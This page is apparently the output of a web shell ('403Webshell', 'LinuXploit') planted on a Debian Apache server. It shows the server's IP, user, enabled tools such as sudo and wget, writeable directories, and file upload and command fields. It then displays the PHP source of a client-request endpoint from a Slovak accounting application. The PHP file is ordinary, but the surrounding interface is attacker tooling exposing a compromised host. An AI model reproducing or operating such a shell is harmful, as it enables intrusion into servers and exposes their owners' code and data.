403Webshell
Server IP : 37.9.174.138  /  Your IP : 216.73.216.117
Web Server : Apache
System : Linux vps6.backend.sk 6.12.100+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.100-1 (2026-07-30) x86_64
User : ftpuser ( 1001)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/backend-accounting.sk/app/modules/logbook/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/backend-accounting.sk/app/modules/logbook/api/ClientRequest.php
<?php

namespace modules\logbook\api;

use modules\logbook\code\LogbookRequestPageHelper;
use modules\logbook\code\LogbookRequestService;
use modules\logbook\code\requests\EventRequestType;

/**
 * Public client request endpoints (token-based, no auth).
 */
class ClientRequest extends \app\classes\ApiClass {

    /** @var LogbookRequestService */
    private $requestService;

    public function __construct() {
        $this->requiresAuth = false;
        parent::__construct();
        $this->requestService = new LogbookRequestService();
    }

    /**
     * @includeInDoc false
     * @requestMethod "POST"
     * @RequiredPostParameters ["token"]
     * @VerifyPermissions []
     */
    public function submit() {
        $token = trim((string) $this->urlReader->getPost('token'));
        $page = LogbookRequestPageHelper::resolveFromToken($token);
        if ($page === null || !$page->isPending()) {
            throw new \Exception(
                    $this->translator->_get('Neplatná alebo už spracovaná žiadosť.'),
                    \app\constants\HttpReponseCodes::HTTP_BAD_REQUEST
            );
        }

        $answers = [];
        foreach ($page->getRequestedFields() as $field) {
            if ($field === EventRequestType::FIELD_PARTNERS) {
                $partnersRaw = $this->urlReader->getPost('partners');
                if ($partnersRaw !== null && $partnersRaw !== false) {
                    $answers[$field] = EventRequestType::normalizePartnersPayload($partnersRaw);
                }
                continue;
            }
            if ($this->urlReader->getPost($field) !== null) {
                $answers[$field] = $this->urlReader->getPost($field);
            }
        }

        try {
            $this->requestService->completeRequest($page->getRequest(), $answers);
        } catch (\InvalidArgumentException $ex) {
            throw new \Exception($ex->getMessage(), \app\constants\HttpReponseCodes::HTTP_BAD_REQUEST, $ex);
        }

        $successText = $this->translator->_get('Údaje boli uložené.');

        $this->restApi->ajaxResponse([
            'title' => $this->translator->_get('Ďakujeme'),
            'text' => $successText,
        ]);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit